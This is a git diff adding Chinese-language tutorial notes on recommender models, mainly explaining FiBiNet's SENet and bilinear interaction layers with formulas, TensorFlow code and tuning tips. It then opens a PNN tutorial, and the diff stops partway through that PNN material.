+>推荐领域里面的特征有个特点，就是海量稀疏，意思是大量长尾特征是低频的，而这些低频特征，去学一个靠谱的Embedding是基本没希望的，但是你又不能把低频的特征全抛掉，因为有一些又是有效的。既然这样，**如果我们把SENet用在特征Embedding上，类似于做了个对特征的Attention，弱化那些不靠谱低频特征Embedding的负面影响，强化靠谱低频特征以及重要中高频特征的作用，从道理上是讲得通的** 
+
+所以拿来用了再说， 把SENet放在Embedding层之上，通过SENet网络，动态地学习这些特征的重要性。**对于每个特征学会一个特征权重，然后再把学习到的权重乘到对应特征的Embedding里，这样就可以动态学习特征权重，通过小权重抑制噪音或者无效低频特征，通过大权重放大重要特征影响的目的**。在推荐系统里面， 结构长这个样子：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703161807139.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 80%;" /> 
+</div>
+
+下面看下这个网络里面的具体计算过程， SENET主要分为三个步骤Squeeze, Excitation, Re-weight。
+
+* **在Squeeze阶段**，我们对每个特征的Embedding向量进行数据压缩与信息汇总，如下：
+
+	$$
+	z_{i}=F_{s q}\left(e_{i}\right)=\frac{1}{k} \sum_{t=1}^{k} e_{i}^{(t)}
+	$$
+
+	假设某个特征$v_i$是$k$维大小的$Embedding$，那么我们对$Embedding$里包含的$k$维数字求均值，得到能够代表这个特征汇总信息的数值 $z_i$，也就是说，把第$i$个特征的$Embedding$里的信息压缩到一个数值。原始版本的SENet，在这一步是对CNN的二维卷积核进行$Max$操作的，这里等于对某个特征Embedding元素求均值。我们试过，在推荐领域均值效果比$Max$效果好，这也很好理解，因为**图像领域对卷积核元素求$Max$，等于找到最强的那个特征，而推荐领域的特征$Embedding$，每一位的数字都是有意义的，所以求均值能更好地保留和融合信息**。通过Squeeze阶段，对于每个特征$v_i$ ，都压缩成了单个数值$z_i$，假设特征Embedding层有$f$个特征，就形成Squeeze向量$Z$，向量大小$f$。
+
+* **Excitation阶段**，这个阶段引入了中间层比较窄的两层MLP网络，作用在Squeeze阶段的输出向量$Z$上，如下：
+	
+	$$
+	A=F_{e x}(Z)=\sigma_{2}\left(W_{2} \sigma_{1}\left(W_{1} Z\right)\right)
+	$$
+
+	$\sigma$非线性激活函数，一般$relu$。本质上，这是在做特征的交叉，也就是说，每个特征以一个$Bit$来表征，通过MLP来进行交互，通过交互，得出这么个结果：对于当前所有输入的特征，通过相互发生关联，来动态地判断哪些特征重要，哪些特征不重要。
+
+	其中，第一个MLP的作用是做特征交叉，第二个MLP的作用是为了保持输出的大小维度。因为假设Embedding层有$f$个特征，那么我们需要保证输出$f$个权重值，而第二个MLP就是起到将大小映射到$f$个数值大小的作用。<br><br>这样，经过两层MLP映射，就会产生$f$个权重数值，第$i$个数值对应第$i$个特征Embedding的权重$a_i$ 。<br><br>这个东西有没有感觉和自动编码器很像，虽然不是一样的作用， 但网络结构是一样的。这就是知识串联的功效哈哈。
+
+    <div align=center> 
+    <img src="https://img-blog.csdnimg.cn/2021070316343673.png#pic_center" alt="image-20210308142624189" style="zoom: 70%;" /> 
+    </div>
+
+	瞬间是不是就把SENet这里的网络结构记住了哈哈。下面再分析下维度， SENet的输入是$E$，这个是`(None, f, k)`的维度， 通过Squeeze阶段，得到了`(None, f)`的矩阵，这个也就相当于Layer L1的输入(当然这里没有下面的偏置哈)，接下来过MLP1， 这里的$W_{1} \in R^{f \times \frac{f}{r}}, W_{2} \in R^{\frac{f}{r} \times f}$, 这里的$r$叫做reduction
+	ratio， $\frac{f}{r}$这个就是中间层神经元的个数， $r$表示了压缩的程度。
+
+* Re-Weight
+	我们把Excitation阶段得到的每个特征对应的权重$a_i$，再乘回到特征对应的Embedding里，就完成了对特征重要性的加权操作。
+	$$V=F_{\text {ReWeight }}(A, E)=\left[a_{1} \cdot e_{1}, \cdots, a_{f} \cdot e_{f}\right]=\left[v_{1}, \cdots, v_{f}\right]$$
+	$a_{i} \in R, e_{i} \in R^{k}$, and $v_{i} \in R^{k}$。$a_i$数值大，说明SENet判断这个特征在当前输入组合里比较重要， $a_i$数值小，说明SENet判断这个特征在当前输入组合里没啥用。如果非线性函数用Relu，会发现大量特征的权重会被Relu搞成0，也就是说，其实很多特征是没啥用的。
+
+
+这样，就可以将SENet引入推荐系统，用来对特征重要性进行动态判断。注意，**所谓动态，指的是比如对于某个特征，在某个输入组合里可能是没用的，但是换一个输入组合，很可能是重要特征。它重要不重要，不是静态的，而是要根据当前输入，动态变化的**。
+
+这里正确的理解，算是一种特征重要性选择的思路， SENET和AFM的Attention网络是起着同样功效的一个网络。只不过那个是在特征交互之后进行特征交互重要性的选择，而这里是从embedding这里先压缩，再交互，再选择，去掉不太重要的特征。 **考虑特征重要性上的两种考虑思路，难以说孰好孰坏，具体看应用场景**。 不过如果分析下这个东西为啥会有效果， 就像张俊林老师提到的那样， 在Excitation阶段， 各个特征过了一个MLP进行了特征组合， 这样就真有可能过滤掉对于当前的交互不太重要的特征。 至于是不是， 那神经网络这东西就玄学了，让网络自己去学吧。
+
+### Bilinear-Interaction Layer
+特征重要性选择完事， 接下来就是研究特征交互， 这里作者直接就列出了目前的两种常用交互以及双线性交互:
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703165031369.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 70%;" /> 
+</div>
+
+这个图其实非常了然了。以往模型用的交互， 内积的方式(FM,FFM)这种或者哈达玛积的方式(NFM,AFM)这种。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703165221794.png#pic_center" alt="image-20210308142624189" style="zoom: 70%;" > 
+</div>
+
+所谓的双线性，其实就是组合了内积和哈达玛积的操作，看上面的右图。就是在$v_i$和$v_j$之间先加一个$W$矩阵， 这个$W$矩阵的维度是$(f,f)$, $v_i, v_j$是$(1,f)$的向量。 先让$v_i$与$W$内积，得到$(1,f)$的向量，这时候先仔细体会下这个**新向量的每个元素，相当于是原来向量$v_i$在每个维度上的线性组合了**。这时候再与$v_j$进行哈达玛积得到结果。
+
+这里我不由自主的考虑了下双线性的功效，也就是为啥作者会说双线性是细粒度，下面是我自己的看法哈。
+* 如果我们单独先看内积操作，特征交互如果是两个向量直接内积，这时候， 结果大的，说明两个向量相似或者特征相似， 但向量内积，其实是相当于向量的各个维度先对应位置元素相乘再相加求和。 这个过程中认为的是向量的各个维度信息的重要性是一致的。类似于$v_1+v_2+..v_k$， 但真的一致吗？ --- **内积操作没有考虑向量各个维度的重要性**
+* 如果我们单独看哈达玛积操作， 特征交互如果是两个向量哈达玛积，这时候，是各个维度对应位置元素相乘得到一个向量， 而这个向量往往后面会进行线性或者非线性交叉的操作， 最后可能也会得到具体某个数值，但是这里经过了线性或者非线性交叉操作之后， 有没有感觉把向量各个维度信息的重要性考虑了进来？   就类似于$w_1v_{i1j1}+w_2k_{v2j2},...w_kv_{vkjk}$。 如果模型认为重要性相同，那么哈达玛积还有希望退化成内积，所以哈达玛积感觉考虑的比内积就多了一些。 --- **哈达玛积操作自身也没有考虑各个维度重要性，但通过后面的线性或者非线性操作，有一定的维度重要性在里面**
+* 再看看这个双线性， 是先内积再哈达玛积。这个内积操作不是直接$v_i$和$v_j$内积，而是中间引入了个$W$矩阵，参数可学习。 那么$v_i$和$W$做内积之后，虽然得到了同样大小的向量，但是这个向量是$v_i$各个维度元素的线性组合，相当于$v_i$变成了$[w_{11}v_{i1}+...w_{1k}v_{ik}, w_{21}v_{i1}+..w_{2k}v_{ik}, ...., w_{k1}v_{i1}+...w_{kk}v_{ik}]$， 这时候再与$v_j$哈达玛积的功效，就变成了$[(w_{11}v_{i1}+...w_{1k}v_{ik})v_{j1}, (w_{21}v_{i1}+..w_{2k}v_{ik})v_{j2}, ...., (w_{k1}v_{i1}+...w_{kk}v_{ik})v_{j_k}]$， 这时候，就可以看到，如果这里的$W$是个对角矩阵，那么这里就退化成了哈达玛积。  所以双线性感觉考虑的又比哈达玛积多了一些。如果后面再走一个非线性操作的话，就会发现这里同时考虑了两个交互向量各个维度上的重要性。---**双线性操作同时可以考虑交互的向量各自的各个维度上的重要性信息， 这应该是作者所说的细粒度，各个维度上的重要性**
+
+**当然思路是思路，双线性并不一定见得一定比哈达玛积有效， SENET也不一定就会比原始embedding要好，一定要辩证看问题**
+
+这里还有个厉害的地方在于这里的W有三种选择方式，也就是三种类型的双线性交互方式。
+1. Field-All Type
+$$
+p_{i j}=v_{i} \cdot W \odot v_{j}
+$$
+也就是所有的特征embedding共用一个$W$矩阵，这也是Field-All的名字来源。$W \in R^{k \times k}, \text { and } v_{i}, v_{j} \in R^{k}$。这种方式最简单
+2. Field-Each Type
+$$
+p_{i j}=v_{i} \cdot W_{i} \odot v_{j}
+$$
+每个特征embedding共用一个$W$矩阵， 那么如果有$f$个特征的话，这里的$W_i$需要$f$个。所以这里的参数个数$f-1\times k\times k$， 这里的$f-1$是因为两两组合之后，比如`[0,1,2]`， 两两组合`[0,1], [0,2], [1,2]`。 这里用到的域是0和1。
+3. Field-Interaction Type
+$$
+p_{i j}=v_{i} \cdot W_{i j} \odot v_{j}
+$$
+每组特征交互的时候，用一个$W$矩阵， 那么这里如果有$f$个特征的话，需要$W_{ij}$是$\frac{f(f-1)}{2}$个。参数个数$\frac{f(f-1)}{2}\times k\times k$个。
+
+不知道看到这里，这种操作有没有种似曾相识的感觉， 有没有想起FM和FFM， 反正我是不自觉的想起了哈哈，不知道为啥。总感觉FM的风格和上面的Field-All很像， 而FFM和下面的Field-Interaction很像。
+
+我们的原始embedding和SKNET-like embedding都需要过这个层，那么得到的就是一个双线性两两组合的矩阵， 维度是$(\frac{f(f-1)}{2}, k)$的矩阵。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703173830995.png#pic_center" alt="image-20210308142624189" style="zoom: 70%;" > 
+</div>
+
+### Combination Layer
+这个层的作用就是把目前得到的特征拼起来
+$$
+c=F_{\text {concat }}(p, q)=\left[p_{1}, \cdots, p_{n}, q_{1}, \cdots, q_{n}\right]=\left[c_{1}, \cdots, c_{2 n}\right]
+$$
+这里他直拼了上面得到的两个离散特征通过各种交互之后的形式，如果是还有连续特征的话，也可以在这里拼起来，然后过DNN，不过这里其实还省略了一步操作就是Flatten，先展平再拼接。
+
+### DNN和输出层
+这里就不多说了， DNN的话普通的全连接网络， 再捕捉一波高阶的隐性交互。
+$$
+a^{(l)}=\sigma\left(W^{(l)} a^{(l-1)}+b^{(l)}\right)
+$$
+而输出层
+$$
+\hat{y}=\sigma\left(w_{0}+\sum_{i=0}^{m} w_{i} x_{i}+y_{d}\right)
+$$
+分类问题损失函数：
+$$
+\operatorname{loss}=-\frac{1}{N} \sum_{i=1}^{N}\left(y_{i} \log \left(\hat{y}_{i}\right)+\left(1-y_{i}\right) * \log \left(1-\hat{y}_{i}\right)\right)
+$$
+这里就不解释了。
+
+### 其他重要细节
+实验部分，这里作者也是做了大量的实验来证明提出的模型比其他模型要好，这个就不说了。
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/2021070317512940.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="image-20210308142624189" style="zoom: 70%;" > 
+</div>
+
+竟然比xDeepFM都要好。
+
+在模型评估指标上，用了AUC和Logloss，这个也是常用的指标，Logloss就是交叉熵损失， 反映了样本的平均偏差，经常作为模型的损失函数来做优化，可是，当训练数据正负样本不平衡时，比如我们经常会遇到正样本很少，负样本很多的情况，此时LogLoss会倾向于偏向负样本一方。 而AUC评估不会受很大影响，具体和AUC的计算原理有关。这个在这里就不解释了。
+
+其次了解到的一个事情：
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703175052617.png#pic_center" alt="image-20210308142624189" style="zoom: 70%;" > 
+</div>
+
+接下来，得整理下双线性与哈达玛积的组合类型，因为我们这个地方其实有两路embedding的， 一路是原始embedding， 一路是SKNet侧的embedding。而面临的组合方式，有双线性和哈达玛积两种。那么怎么组合会比较好呢？ 作者做了实验。结论是，作者建议:
+>深度学习模型中，原始那边依然哈达玛，SE那边双线性， 可能更有效， 不过后面的代码实现里面，都用了双线性。
+
+
+而具体，在双线性里面，那种W的原则有效呢？  这个视具体的数据集而定。
+
+超参数选择，主要是embedding维度以及DNN层数， embedding维度这个10-50， 不同的数据集可能表现不一样， 但尽量不要超过50了。否则在DNN之前的特征维度会很大。
+
+DNN层数，作者这里建议3层，而每一层神经单元个数，也是没有定数了。
+
+这里竟然没有说$r$的确定范围。 Deepctr里面默认是3。
+
+对于实际应用的一些经验:
+1. SE-FM 在实验数据效果略高于 FFM，优于FM，对于模型处于低阶的团队，升级FM、SE-FM成本比较低
+
+2. deepSE-FM 效果优于DCN、XDeepFM 这类模型，相当于**XDeepFM这种难上线的模型**来说，很值得尝试，不过大概率怀疑是**增加特征交叉的效果，特征改进比模型改进work起来更稳**
+3.  实验中增加embeding 长度费力不讨好，效果增加不明显，如果只是增加长度不改变玩法边际效应递减，**不增加长度增加emmbedding 交叉方式类似模型的ensemble更容易有效果**
+
+
+## FiBiNet模型的代码复现及重要结构解释
+这里的话，参考deepctr修改的简化版本。
+### 全貌
+
+对于输入，就不详细的说了，在xDeepFM那里已经解释了， 首先网络的整体全貌:
+
+```python
+def fibinet(linear_feature_columns, dnn_feature_columns,  bilinear_type='interaction', reduction_ratio=3, hidden_units=[128, 128]):
+    """
+    :param linear_feature_columns, dnn_feature_columns: 封装好的wide端和deep端的特征
+    :param bilinear_type: 双线性交互类型， 有'all', 'each', 'interaction'三种
+    :param reduction_ratio: senet里面reduction ratio
+    :param hidden_units: DNN隐藏单元个数
+    """
+    
+    # 构建输出层, 即所有特征对应的Input()层， 用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns + dnn_feature_columns)
+    
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入预Input层对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+    
+    # 线性部分的计算逻辑 -- linear
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_feature_columns)
+    
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    # 线性层和dnn层统一的embedding层
+    embedding_layer_dict = build_embedding_layers(linear_feature_columns+dnn_feature_columns, sparse_input_dict, is_linear=False)
+    
+    # DNN侧的计算逻辑 -- Deep
+    # 将dnn_feature_columns里面的连续特征筛选出来，并把相应的Input层拼接到一块
+    dnn_dense_feature_columns = list(filter(lambda x: isinstance(x, DenseFeat), dnn_feature_columns)) if dnn_feature_columns else []
+    dnn_dense_feature_columns = [fc.name for fc in dnn_dense_feature_columns]
+    dnn_concat_dense_inputs = Concatenate(axis=1)([dense_input_dict[col] for col in dnn_dense_feature_columns])
+    
+    # 将dnn_feature_columns里面的离散特征筛选出来，相应的embedding层拼接到一块,然后过SENet_layer
+    dnn_sparse_kd_embed = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=False)
+    sparse_embedding_list = Concatenate(axis=1)(dnn_sparse_kd_embed)
+    
+    # SENet layer
+    senet_embedding_list = SENETLayer(reduction_ratio)(sparse_embedding_list)
+    
+    # 双线性交互层
+    senet_bilinear_out = BilinearInteraction(bilinear_type=bilinear_type)(senet_embedding_list)
+    raw_bilinear_out = BilinearInteraction(bilinear_type=bilinear_type)(sparse_embedding_list)
+    
+    bilinear_out = Flatten()(Concatenate(axis=1)([senet_bilinear_out, raw_bilinear_out]))
+    
+    # DNN层的输入和输出
+    dnn_input = Concatenate(axis=1)([bilinear_out, dnn_concat_dense_inputs])
+    dnn_out = get_dnn_output(dnn_input, hidden_units=hidden_units)
+    dnn_logits = Dense(1)(dnn_out)
+                             
+    # 最后的输出
+    final_logits = Add()([linear_logits, dnn_logits])
+    
+    # 输出层
+    output_layer = Dense(1, activation='sigmoid')(final_logits)
+    
+    model = Model(input_layers, output_layer)
+    
+    return model
+```
+这里依然是是采用了线性层计算与DNN相结合的方式。 前向传播这里也不详细描述了。这里面重点是SENETLayer和BilinearInteraction层，其他的和之前网络模块基本上一样。
+
+### SENETLayer
+这里的输入是`[None, field_num embed_dim]`的维度，也就是离散特征的embedding， 拿到这个输入之后，三个步骤，得到的是一个`[None, feild_num, embed_dim]`的同样维度的矩阵，只不过这里是SKNET-like embedding了。
+
+```python
+class SENETLayer(Layer):
+    def __init__(self, reduction_ratio, seed=2021):
+        super(SENETLayer, self).__init__()
+        self.reduction_ratio = reduction_ratio
+        self.seed = seed
+    
+    def build(self, input_shape):
+        # input_shape  [None, field_nums, embedding_dim]
+        self.field_size = input_shape[1]
+        self.embedding_size = input_shape[-1]
+        
+        # 中间层的神经单元个数 f/r
+        reduction_size = max(1, self.field_size // self.reduction_ratio)
+        
+        # FC layer1和layer2的参数
+        self.W_1 = self.add_weight(shape=(
+            self.field_size, reduction_size), initializer=glorot_normal(seed=self.seed), name="W_1")
+        self.W_2 = self.add_weight(shape=(
+            reduction_size, self.field_size), initializer=glorot_normal(seed=self.seed), name="W_2")
+
+        self.tensordot = tf.keras.layers.Lambda(
+            lambda x: tf.tensordot(x[0], x[1], axes=(-1, 0)))
+
+        # Be sure to call this somewhere!
+        super(SENETLayer, self).build(input_shape)
+    
+    def call(self, inputs):
+        # inputs [None, field_num, embed_dim]
+        
+        # Squeeze -> [None, field_num]
+        Z = tf.reduce_mean(inputs, axis=-1)
+        
+        # Excitation
+        A_1 = tf.nn.relu(self.tensordot([Z, self.W_1]))   # [None, reduction_size]
+        A_2 = tf.nn.relu(self.tensordot([A_1, self.W_2]))   # [None, field_num]
+        
+        # Re-Weight
+        V = tf.multiply(inputs, tf.expand_dims(A_2, axis=2))  # [None, field_num, embedding_dim]
+
+        return V
+```
+三个步骤还是比较好理解的， 这里这种自定义层权重的方式需要学习下。
+
+### 4.3 BilinearInteraction Layer
+这里接收的输入同样是`[None, field_num embed_dim]`的维度离散特征的embedding。 输出是来两两交互完毕的矩阵$[None, \frac{f(f-1)}{2}, embed\_dim]$
+
+这里的双线性交互有三种形式，具体实现的话可以参考下面的代码，我加了注释， 后面两种用到了组合的方式， 感觉人家这种实现方式还是非常巧妙的。
+```python
+class BilinearInteraction(Layer):
+    """BilinearInteraction Layer used in FiBiNET.
+      Input shape
+        - 3D tensor with shape: ``(batch_size,field_size,embedding_size)``.
+      Output shape
+        - 3D tensor with shape: ``(batch_size,filed_size*(filed_size-1)/2,embedding_size)``.
+    """
+    def __init__(self, bilinear_type="interaction", seed=2021, **kwargs):
+        super(BilinearInteraction, self).__init__(**kwargs)
+        self.bilinear_type = bilinear_type
+        self.seed = seed
+    
+    def build(self, input_shape):
+        # input_shape: [None, field_num, embed_num]
+        self.field_size = input_shape[1]
+        self.embedding_size = input_shape[-1]
+        
+        if self.bilinear_type == "all":   # 所有embedding矩阵共用一个矩阵W
+            self.W = self.add_weight(shape=(self.embedding_size, self.embedding_size), initializer=glorot_normal(
+                seed=self.seed), name="bilinear_weight")
+        elif self.bilinear_type == "each": # 每个field共用一个矩阵W
+            self.W_list = [self.add_weight(shape=(self.embedding_size, self.embedding_size), initializer=glorot_normal(
+                seed=self.seed), name="bilinear_weight" + str(i)) for i in range(self.field_size-1)]
+        elif self.bilinear_type == "interaction":  # 每个交互用一个矩阵W
+            self.W_list = [self.add_weight(shape=(self.embedding_size, self.embedding_size), initializer=glorot_normal(
+                seed=self.seed), name="bilinear_weight" + str(i) + '_' + str(j)) for i, j in
+                           itertools.combinations(range(self.field_size), 2)]
+        else:
+            raise NotImplementedError
+
+        super(BilinearInteraction, self).build(input_shape)  # Be sure to call this somewhere!
+
+    def call(self, inputs):
+        # inputs: [None, field_nums, embed_dims]
+        # 这里把inputs从field_nums处split, 划分成field_nums个embed_dims长向量的列表
+        inputs = tf.split(inputs, self.field_size, axis=1)  # [(None, embed_dims), (None, embed_dims), ..] 
+        n = len(inputs)  # field_nums个
+        
+        if self.bilinear_type == "all":
+            # inputs[i] (none, embed_dims)    self.W (embed_dims, embed_dims) -> (None, embed_dims)
+            vidots = [tf.tensordot(inputs[i], self.W, axes=(-1, 0)) for i in range(n)]   # 点积
+            p = [tf.multiply(vidots[i], inputs[j]) for i, j in itertools.combinations(range(n), 2)]  # 哈达玛积
+        elif self.bilinear_type == "each":
+            vidots = [tf.tensordot(inputs[i], self.W_list[i], axes=(-1, 0)) for i in range(n - 1)]
+            # 假设3个域， 则两两组合[(0,1), (0,2), (1,2)]  这里的vidots是第一个维度， inputs是第二个维度 哈达玛积运算
+            p = [tf.multiply(vidots[i], inputs[j]) for i, j in itertools.combinations(range(n), 2)]
+        elif self.bilinear_type == "interaction":
+            # combinations(inputs, 2)  这个得到的是两两向量交互的结果列表
+            # 比如 combinations([[1,2], [3,4], [5,6]], 2)
+            # 得到 [([1, 2], [3, 4]), ([1, 2], [5, 6]), ([3, 4], [5, 6])]  (v[0], v[1]) 先v[0]与W点积，然后再和v[1]哈达玛积
+            p = [tf.multiply(tf.tensordot(v[0], w, axes=(-1, 0)), v[1])
+                 for v, w in zip(itertools.combinations(inputs, 2), self.W_list)]
+        else:
+            raise NotImplementedError
+            
+        output = Concatenate(axis=1)(p)
+        return output
+```
+这里第一个是需要学习组合交互的具体实现方式， 人家的代码方式非常巧妙，第二个会是理解下。
+
+关于FiBiNet网络的代码细节就到这里了，具体代码放到了我的GitHub链接上了。
+
+## 总结
+这篇文章主要是整理了一个新模型， 这个模型是在特征重要性选择以及特征交互上做出了新的探索，给了我们两个新思路。 这里面还有两个重要的地方，感觉是作者对于SENET在推荐系统上的使用思考，也就是为啥能把这个东西迁过来，以及为啥双线性会更加细粒度，这种双线性函数的优势在哪儿？我们通常所说的知其然，意思是针对特征交互， 针对特征选择，我又有了两种考虑思路双线性和SENet， 而知其所以然，应该考虑为啥双线性或者SENET会有效呢？  当然在文章中给出了自己的看法，当然这个可能不对哈，是自己对于问题的一种思考， 欢迎伙伴们一块讨论。
+
+我现在读论文，一般读完了之后，会刻意逼着自己想这么几个问题：
+>本篇论文核心是讲了个啥东西？  是为啥会提出这么个东西？ 为啥这个新东西会有效？  与这个新东西类似的东西还有啥？   在工业上通常会怎么用？
+
+一般经过这样的灵魂5问就能把整篇论文拎起来了，而读完了这篇文章，你能根据这5问给出相应的答案吗？  欢迎在下方留言呀。
+
+还有一种读论文的厉害姿势，和张俊林老师学的，就是拉马努金式思维，就是读论文之前，看完题目之后， 不要看正文，先猜测作者在尝试解决什么样的问题，比如
+
+<div align=center> 
+<img src="https://img-blog.csdnimg.cn/20210703183445412.png#pic_center" alt="image-20210308142624189" style="zoom: 70%;" > 
+</div>
+
+看到特征重要性和双线性特征交互， 就大体上能猜测到这篇推荐论文讲的应该是和特征选择和特征交互相关的知识。 那么如果是我解决这两方面的话应该怎么解决呢？
+* 特征选择 --- 联想到Attention
+* 特征交互 --- 联想到哈达玛积或者内积
+
+这时候， 就可以读论文了，读完之后， 对比下人家提出的想法和自己的想法的区别，考虑下为啥会有这样的区别？ 然后再就是上面的灵魂5问， 通过这样的方式读论文， 能够理解的更加深刻，就不会再有读完很多论文，依然很虚的感觉，啥也没记住了。 如果再能花点时间总结输出下， 和之前的论文做一个对比串联，再花点时间看看代码，复现下，用到自己的任务上。 那么这样， 就算是真正把握住模型背后的思想了，而不是仅仅会个模型而已， 并且这种读论文方式，只要习惯了之后， 读论文会很快，因为我隐约发现，万变不离其宗， 论文里面抛去实验部分，抛去前言部分， 剩下的精华其实没有几页的。当然整理会花费时间， 但也有相应的价值在里面。 我以后整理，也是以经典思路模型为主， 对于一般的，我会放到论文总结的专栏里面，一下子两三篇的那种整理，只整理大体思路就即可啦。
+
+下面只整理来自工业大佬的使用经验和反思， 具体参考下面的第二篇参考:
+* 适用的数据集
+虽然模型是针对点击率预测的场景提出的，但可以尝试的数据场景也不少，比较适合包含大量categorical feature且这些feature cardinality本身很高，或者因为encode method导致的某些feature维度很高且稀疏的情况。推荐系统的场景因为大量的user/item属性都是符合这些要求的，所以效果格外好，但我们也可以举一反三把它推广到其他相似场景。另外，文字描述类的特征（比如人工标注的主观评价，名字，地址信息……）可以用tokenizer处理成int sequence/matrix作为embedding feature喂进模型，丰富的interaction方法可以很好的学习到这些样本中这些特征的相似之处并挖掘出一些潜在的关系。
+
+* 回归和分类问题都可以做，无非改一下DNN最后一层的activation函数和objective，没有太大的差别。
+* 如果dense feature比较多而且是分布存在很多异常值的numeric feature，尽量就不要用FiBiNET了，相比大部分NN没有优势不说，SENET那里的一个最大池化极其容易把特征权重带偏，如果一定要上，可能需要修改一下池化的方法。
+
+* DeepCTR的实现还把指定的linear feature作为类似于WDL中的wide部分直接输入到DNN的最后一层，以及DNN部分也吸收了一部分指定的dnn feature中的dense feature直接作为输入。毫无疑问，DeepCTR作者在尽可能的保留更多的特征作为输入防止信息的丢失。
+
+
+* 使用Field-Each方式能够达到最好的预测准确率，而且相比默认的Field-Interaction，参数也减少了不少，训练效率更高。当然，三种方式在准确率方面差异不是非常巨大。
+* reduce ratio设置到8效果最好，这方面我的经验和不少人达成了共识，SENET用于其他学习任务也可以得到相似的结论。 -- 这个试了下，确实有效果
+* 使用dropout方法扔掉hidden layer里的部分unit效果会更好，系数大约在0.3时最好，原文用的是0.5,请根据具体使用的网络结构和数据集特点自己调整。-- 这个有效果
+
+* 在双线性部分引入Layer Norm效果可能会更好些
+
+* 尝试在DNN部分使用残差防止DNN效果过差
+* 直接取出Bilinear的输出结果然后上XGBoost，也就是说不用它来训练而是作为一种特征embedding操作去使用， 这个方法可能发生leak
+* 在WDL上的调优经验： 适当调整DNN hideen layer之间的unit数量的减小比例，防止梯度爆炸/消失。
+
+后记：
+>fibinet在我自己的任务上也试了下，确实会效果， 采用默认参数的话， 能和xdeepfm跑到同样的水平，而如果再稍微调调参， 就比xdeepfm要好些了。
+
+**参考**：
+* [论文原文](https://arxiv.org/pdf/1905.09433.pdf)
+* [FiBiNET: paper reading + 实践调优经验](https://zhuanlan.zhihu.com/p/79659557)
+* [FiBiNET：结合特征重要性和双线性特征交互进行CTR预估](https://zhuanlan.zhihu.com/p/72931811)
+* [FiBiNET(新浪)](https://zhuanlan.zhihu.com/p/92130353)
+* [FiBiNet 网络介绍与源码浅析](https://zhuanlan.zhihu.com/p/343572144)
+* [SENET双塔模型及应用](https://mp.weixin.qq.com/s/Y3A8chyJ6ssh4WLJ8HNQqw)
+
+
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md
new file mode 100644
index 0000000..393f3fe
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.2/PNN.md
@@ -0,0 +1,244 @@
+# PNN
+## 动机
+在特征交叉的相关模型中FM, FFM都证明了特征交叉的重要性，FNN将神经网络的高阶隐式交叉加到了FM的二阶特征交叉上，一定程度上说明了DNN做特征交叉的有效性。但是对于DNN这种“add”操作的特征交叉并不能充分挖掘类别特征的交叉效果。PNN虽然也用了DNN来对特征进行交叉组合，但是并不是直接将低阶特征放入DNN中，而是设计了Product层先对低阶特征进行充分的交叉组合之后再送入到DNN中去。
+
+PNN模型其实是对IPNN和OPNN的总称，两者分别对应的是不同的Product实现方法，前者采用的是inner product，后者采用的是outer product。在PNN的算法方面，比较重要的部分就是Product Layer的简化实现方法，需要在数学和代码上都能够比较深入的理解。
+
+## 模型的结构及原理
+
+> 在学习PNN模型之前，应当对于DNN结构具有一定的了解，同时已经学习过了前面的章节。
+
+PNN模型的整体架构如下图所示：
+
+<div align=center> <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210308142624189.png" alt="image-20210308142624189" style="zoom: 50%;" /> </div>
+
+一共分为五层，其中除了Product Layer别的layer都是比较常规的处理方法，均可以从前面的章节进一步了解。模型中最重要的部分就是通过Product层对embedding特征进行交叉组合，也就是上图中红框所显示的部分。
+
+Product层主要有线性部分和非线性部分组成，分别用$l_z$和$l_p$来表示，
+
+<div align=center> <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210308143101261.png" alt="image-20210308143101261" style="zoom: 50%;" />
+</div>
+
+1. 线性模块，一阶特征(未经过显示特征交叉处理)，对应论文中的$l_z=(l_z^1,l_z^2, ..., l_z^{D_1})$
+2. 非线性模块，高阶特征(经过显示特征交叉处理)，对应论文中的$l_p=(l_p^1,l_p^2, ..., l_p^{D_1})$
+
+**线性部分**
+
+先来解释一下$l_z$是如何计算得到的，在介绍计算$l_z$之前先介绍一下矩阵内积计算, 如下公式所示，用一句话来描述就是两个矩阵对应元素相称，然后将相乘之后的所有元素相加
+$$
+A \odot{B} = \sum_{i,j}A_{i,j}B_{i,j}
+$$
+$l_z^n$的计算就是矩阵内积，而$l_z$是有$D_1$个$l_z^n$组成，所以需要$D1$个矩阵求得，但是在代码实现的时候不一定是定义$D_1$个矩阵，可以将这些矩阵Flatten，具体的细节可以参考给出的代码。
+$$
+l_z=(l_z^1,l_z^2, ..., l_z^{D_1})\\
+l_z^n = W_z^n \odot{z} \\
